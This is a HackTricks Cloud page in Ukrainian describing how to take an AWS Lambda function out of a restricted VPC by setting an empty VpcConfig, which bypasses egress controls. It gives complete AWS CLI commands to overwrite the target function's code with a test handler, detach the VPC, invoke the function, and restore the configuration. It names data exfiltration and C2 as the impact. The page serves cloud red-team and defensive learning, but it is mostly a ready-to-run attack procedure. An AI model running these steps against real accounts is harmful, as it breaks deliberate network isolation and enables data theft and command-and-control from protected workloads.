AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
Reading time: 3 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Примусово вивести Lambda function із обмеженого VPC, оновивши його конфігурацію з пустим VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Функція тоді виконуватиметься в мережевому шарі, яким керує Lambda, відновлюючи вихідний доступ в інтернет і обходячи контролі egress, накладені приватними підмережами VPC без NAT.
Abusing it
- Попередні умови: lambda:UpdateFunctionConfiguration на цільовій функції (та lambda:InvokeFunction для перевірки), плюс дозволи на оновлення коду/handler, якщо ви їх змінюєте.
- Припущення: функція наразі налаштована з VpcConfig, що вказує на приватні підмережі без NAT (тому вихід в інтернет заблоковано).
- Region: us-east-1
Steps
- Підготуйте мінімальний handler, що доводить роботу вихідного HTTP
cat > net.py <<'PY' import urllib.request, json
def lambda_handler(event, context): try: ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip() return {"egress": True, "ip": ip} except Exception as e: return {"egress": False, "err": str(e)} PY zip net.zip net.py aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
- Зафіксуйте поточну VPC конфігурацію (щоб відновити її пізніше, якщо потрібно)
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json
- Від'єднайте VPC, задавши пусті списки
aws lambda update-function-configuration
--function-name $TARGET_FN
--vpc-config SubnetIds=[],SecurityGroupIds=[]
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- Викличте функцію і перевірте вихідний доступ
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null cat /tmp/net-out.json
(Optional) Відновлення оригінальної VPC конфігурації
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json) aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION fi
Impact
- Відновлюється необмежений вихідний доступ в інтернет з функції, що дозволяє ексфільтрацію даних або C2 із робочих навантажень, які навмисно ізольовані в приватних підмережах без NAT.
Example output (after detaching VpcConfig)
{"egress": true, "ip": "34.x.x.x"}
Cleanup
- Якщо ви створювали тимчасові зміни коду/handler, відновіть їх.
- За потреби відновіть оригінальний VpcConfig, збережений у /tmp/orig-vpc.json, як показано вище.
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud